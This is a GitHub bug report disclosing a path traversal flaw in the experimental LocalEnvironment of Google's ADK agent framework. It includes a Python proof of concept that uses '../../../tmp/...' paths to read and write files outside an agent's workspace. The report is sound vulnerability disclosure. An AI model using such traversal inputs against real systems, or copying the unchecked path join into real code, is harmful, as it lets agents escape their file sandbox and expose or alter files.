Skip to content

(CWE-22) Path traversal in experimental LocalEnvironment allows file access outside workspace #5869

@er3b07

Description

@er3b07

🔴 Required Information

Describe the Bug:

LocalEnvironment._resolve_path() in src/google/adk/environment/_local_environment.py uses os.path.join(working_dir, path) without canonicalizing or verifying the path stays under working_dir. Relative paths containing .. escape the workspace, so read_file() and write_file() can read or write files outside the intended directory.

Steps to Reproduce:

  1. python3 -m venv .venv && source .venv/bin/activate && pip install -U pip google-adk
  2. Run the minimal reproduction code below.
  3. Observe:
    • /tmp/adk-vrp-traversal-write.txt is created (write outside workspace)
    • /tmp/adk-vrp-traversal-read.txt is read (read outside workspace)

Expected Behavior:

File operations stay inside the configured working_dir.

Observed Behavior:

write_file("../../../tmp/adk-vrp-traversal-write.txt", ...) and read_file("../../../tmp/adk-vrp-traversal-read.txt") succeed on paths under /tmp, outside the temporary workspace.

Environment Details:

  • ADK Library Version: pip show google-adk (tested on 2.1.0)
  • Desktop OS: Linux
  • Python Version: Python 3.12

Model Information:

  • Are you using LiteLLM: N/A
  • Which model is being used: N/A

🟡 Optional Information

Regression: N/A

Logs: N/A

Additional Context:

dev_server.py / fast_api.py use Path.resolve() and is_relative_to() for agent file paths; LocalEnvironment does not. Different from #5530 (shell-based ranged reads in ReadFileTool).

Minimal Reproduction Code:

import asyncio
import tempfile
from pathlib import Path

from google.adk.environment._local_environment import LocalEnvironment

async def main():
    Path("/tmp/adk-vrp-traversal-read.txt").write_text("SECRET\n")
    Path("/tmp/adk-vrp-traversal-write.txt").unlink(missing_ok=True)

    with tempfile.TemporaryDirectory() as wd:
        env = LocalEnvironment(working_dir=Path(wd))
        await env.initialize()

        await env.write_file(
            "../../../tmp/adk-vrp-traversal-write.txt",
            "written-outside",
        )
        data = await env.read_file("../../../tmp/adk-vrp-traversal-read.txt")

        assert Path("/tmp/adk-vrp-traversal-write.txt").is_file()
        assert data.decode().strip() == "SECRET"
        print("OK: read/write outside workspace")
        await env.close()

asyncio.run(main())

[adk-path-traversal-poc.sh](https://github.com/user-attachments/files/28308150/adk-path-traversal-poc.sh)

**How often has this issue occurred?:**

 - Always (100%)

Metadata

Metadata

Assignees

Labels

core[Component] This issue is related to the core interface and implementationv2Affects only 2.0 version

Type

No fields configured for Bug.

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions